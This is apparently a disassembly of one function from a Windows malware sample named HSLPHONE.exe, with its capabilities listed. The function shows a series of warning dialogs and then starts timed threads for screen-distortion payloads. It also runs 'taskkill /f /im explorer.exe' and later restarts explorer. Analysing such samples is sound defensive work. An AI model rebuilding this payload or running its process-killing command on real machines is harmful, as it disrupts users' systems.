Function at 0x402df0
Capabilities:
Create thread
Execute command
Terminate process
Terminate thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
call dbg.__main
mov r9d, 0x34
lea r8, str.HSLPHONE.exe
lea rdx, str.This_is_a_System_Solvent__r_n_r_nDELETES_SYSTEM_SO_DO_NOT_RUN.
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
cmp eax, 7
sete al
test al, al
je 0x402e3a
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov r9d, 0x34
lea r8, str.HSLPHONE.exe
lea rdx, str.LAST_CHANCE._r_n_r_nARE_YOU_SURE_TO_EXECUTE_
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
cmp eax, 7
sete al
test al, al
je 0x402e74
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov r9d, 0x34
lea r8, str.HSLPHONE.exe
lea rdx, str.Do_you_want_to_leave_OS__r_n_r_nRUN_THE_MALWARE__HAS_9_PAYLOADS__SO_YOU_WONT_STAND_CHANCE_IF_YOU_CLICK_YES.
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
cmp eax, 7
sete al
test al, al
je 0x402eae
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov r9d, 0x34
lea r8, str.HSLPHONE.exe
lea rdx, str.LOOKS_Like_You_want_to_Leave_All_your_data_There._r_n_r_nTHERES_NO_TIME__CLICK_NO_BUTTON.
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
cmp eax, 7
sete al
test al, al
je 0x402ee8
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov r9d, 0x34
lea r8, str.HSLPHONE.exe
lea rdx, str.THIS_IS_YOUR_LAST_TIME_CLICKING_YES._r_n_r_nCLICK_YES_TO_PERISH__CLICK_NO_TO_LIVE.
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
cmp eax, 7
sete al
test al, al
je 0x402f52
mov r9d, 0x40
lea r8, str.HSLPHONE.exe
lea rdx, str.Now_your_safe._r_nYoure_now_at_peace._Have_Fun.
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
cmp eax, 1
sete al
test al, al
je 0x403536
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.gdi_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.gdi2_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x10], rax
mov ecx, 0x7918
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.shader1_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
mov ecx, 0x7918
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.hsl1_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x20], rax
mov ecx, 0x7918
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x20]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.hsl2_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x28], rax
mov ecx, 0x7918
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x28]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.hsl3_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x30], rax
mov ecx, 0x7918
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x30]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.hsl4_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x38], rax
mov ecx, 0x7918
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x38]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.shader2_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x40], rax
mov ecx, 0x7918
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x40]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.shader3_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x48], rax
mov ecx, 0x7918
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x48]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.PatBitblt_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x50], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.Zoom_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x58], rax
mov ecx, 0x7918
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x50]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x58]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rcx, str.taskkill__f__im_explorer.exe
call sym.system
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.PylodPixel_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x60], rax
mov ecx, 0x7b0c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, str.start_explorer.exe
call sym.system
mov rax, qword [rbp - 0x60]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
mov rax, qword [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_InvalidateRect]
call rax
mov eax, 0
add rsp, 0x90
pop rbp
ret